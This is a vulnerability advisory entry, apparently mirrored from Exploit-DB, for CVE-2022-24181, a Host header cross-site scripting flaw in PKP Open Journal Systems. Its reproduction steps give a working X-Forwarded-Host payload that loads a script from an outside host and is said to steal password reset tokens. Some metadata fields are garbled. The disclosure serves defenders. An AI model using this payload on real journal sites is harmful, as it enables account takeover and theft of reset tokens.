PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)

vendor:

Open Journals System

by:

Hemant Kashyap

6.1

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Open Journals System

Affected Version From: 2.4.2008

Affected Version To: 3.3.2008

Patch Exists: YES

Related CWE: CVE-2022-24181

CPE: 2.4.8:3.3.8

Metasploit:

Other Scripts:

Tags: cve,cve2022,xss,oss,pkp-lib,edb

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Nuclei References: https://www.exploit-db.com/exploits/50881, https://github.com/pkp/pkp-lib/issues/7649, https://youtu.be/v8-9evO2oVg, https://nvd.nist.gov/vuln/detail/cve-2022-24181

Nuclei Metadata: {'max-request': 1, 'verified': True, 'vendor': 'public_knowledge_project', 'product': 'open_journal_systems'}

Platforms Tested: All OS

2022

PKP Open Journals System 3.3 – Cross-Site Scripting (XSS)

This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability.

Mitigation:

Update to newer version.

Source

Exploit-DB raw data:

# Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)
# Date: 31/01/2022
# Exploit Author: Hemant Kashyap
# Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649
# Version: PKP Open Journals System 2.4.8 >= 3.3
# Tested on: All OS
# CVE : CVE-2022-24181
# References: https://youtu.be/v8-9evO2oVg

XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce:

  1)  Go to this site: https://who's-using-ojs-software.com
  2)  And capture this request in burp , and send to repeater.
  3)  Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com
  4) And this click on send , after this right click on request and click on show response in browser , after this copy the request.
  5) Paste this request in browser , and you'll see xss pop-up. Mitigation: Update to newer version.

 This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability